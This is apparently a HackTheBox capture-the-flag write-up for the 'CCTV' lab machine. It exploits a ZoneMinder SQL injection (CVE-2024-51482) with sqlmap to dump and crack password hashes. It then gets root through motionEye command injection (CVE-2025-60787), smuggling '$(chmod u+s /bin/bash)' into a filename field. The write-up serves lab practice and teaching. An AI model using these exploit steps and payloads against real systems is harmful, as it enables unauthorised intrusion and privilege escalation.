HackTheBox - CCTV

Updated 29-03-2026

A Linux machine running two vulnerable surveillance applications — a SQL injection in ZoneMinder leads to credentials, and an authenticated RCE in motionEye is leveraged to set a SUID bit and escalate to root.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ip=10.129.3.251; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-08 08:33 -0400
Nmap scan report for 10.129.3.251
Host is up (0.13s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.31 seconds

Findings:

  • 22/tcp — OpenSSH 9.6p1 on Ubuntu
  • 80/tcp — Apache 2.4.58 redirecting to cctv.htb

Foothold

Hosts File

1
$ echo '10.129.3.251 cctv.htb' | sudo tee -a /etc/hosts

ZoneMinder — CVE-2024-51482 SQL Injection

The website has a login link pointing to cctv.htb/zm, which hosts ZoneMinder — an open-source CCTV software application. The default credentials admin:admin work, and the version is visible in the page header: 1.37.63.

This version is vulnerable to CVE-2024-51482, a Boolean-based SQL injection in web/ajax/event.php. The advisory PoC identifies the exact vulnerable endpoint. Grab a session cookie after logging in, then hand the URL to sqlmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie 'ZMSESSID=7auc9bcsbqh6oju23mo5dg49td' --batch

<--SNIP-->

[09:54:07] [INFO] checking if the injection point on GET parameter 'tid' is a false positive
GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 276 HTTP(s) requests:
---
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 6481 FROM (SELECT(SLEEP(5)))fPce)
---
[09:54:31] [INFO] the back-end DBMS is MySQL
[09:54:31] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[09:54:35] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 67 times
[09:54:35] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cctv.htb'

[*] ending @ 09:54:35 /2026-03-08/

Time-based payloads are slow. Rather than letting sqlmap enumerate the schema, consult ZoneMinder’s documented database schema and target the Users table directly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie 'ZMSESSID=umqe9d2ng0l556q8g6ero0csgk' -D zm -T Users -C "Username,Password" --dump

<--SNIP-->

Database: zm
Table: Users
[3 entries]
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+

[11:30:53] [INFO] table 'zm.Users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/cctv.htb/dump/zm/Users.csv'
[11:30:53] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1670 times
[11:30:53] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cctv.htb'

[*] ending @ 11:30:53 /2026-03-08/

Hash Cracking

Crack mark‘s bcrypt hash with Hashcat:

1
2
3
4
5
6
$ echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > hash.txt

$ hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
<--SNIP-->

$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame

SSH Access

1
$ ssh mark@cctv.htb

mark has limited access. The home directory reveals a second user:

1
2
mark@cctv:~$ ls /home
mark sa_mark

Internal Service Enumeration

Check for locally listening services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mark@cctv:/tmp$ netstat -tulpn | grep LISTEN
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8554 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8765 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9081 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:7999 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1935 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -

Probing 8765 reveals motionEye:

1
2
3
4
5
6
7
mark@cctv:~$ curl -I localhost:8765
HTTP/1.1 200 OK
Server: motionEye/0.43.1b4
Content-Type: text/html; charset=UTF-8
Date: Sun, 08 Mar 2026 16:34:13 GMT
Etag: "da39a3ee5e6b4b0d3255bfef95601890afd80709"
Content-Length: 0

Forward the internal ports to the attack machine over SSH for browser-based investigation:

1
$ ssh -L 8554:localhost:8554 -L 8765:localhost:8765 -L 8888:localhost:8888 -L 9081:localhost:9081 -L 7999:localhost:7999 -L 1935:localhost:1935 mark@cctv.htb

Browsing to http://localhost:8765 presents a motionEye login page. Confirm the version:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ curl http://localhost:8765/version    
<--SNIP-->

<body>

hostname = "cctv"<br>
version = "0.43.1b4"<br>
motion_version = "4.7.1"<br>
os_version = "Ubuntu 24.04"

<script>var staticPath = 'static/';</script>
</body>
</html>

motionEye v0.43.1b4 is vulnerable to CVE-2025-60787, an authenticated RCE via OS command injection. Exploitation requires admin credentials.

None of the previously recovered credentials work. However, the motionEye configuration file at /etc/motioneye/motion.conf stores credentials in plaintext comments:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mark@cctv:/etc/motioneye$ cat motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf

Log in to motionEye at http://localhost:8765 using admin:989c5a8ee87a0e9521ec81a79187d162109282f0.


Privilege Escalation

CVE-2025-60787 — motionEye Authenticated RCE via SUID Abuse

Following the PoC for CVE-2025-60787, motionEye passes the configured Image File Name directly to a shell command without sanitisation. By injecting a shell subexpression into this field, we can execute arbitrary commands as the user running motionEye.

The goal is to set the SUID bit on /bin/bash. Once set, running bash -p preserves the elevated privileges of the file owner (root), giving us a root shell.

Step 1 — Bypass client-side validation. Open the browser developer console (F12) and override the validation function:

1
2
3
configUiValid = function() { 
return true;
};

Step 2 — Inject the payload. Navigate to the Still Images settings and configure:

  • Capture mode: Interval Snapshots
  • Snapshot Interval: 10
  • Image File Name: $(chmod u+s /bin/bash).%Y-%m-%d-%H-%M-%S

Click Apply. motionEye will execute chmod u+s /bin/bash as part of the filename construction the next time a snapshot is taken.

Step 3 — Trigger the SUID bash. Back on the target, run:

1
2
3
mark@cctv:/tmp$ /bin/bash -p
bash-5.2# whoami
root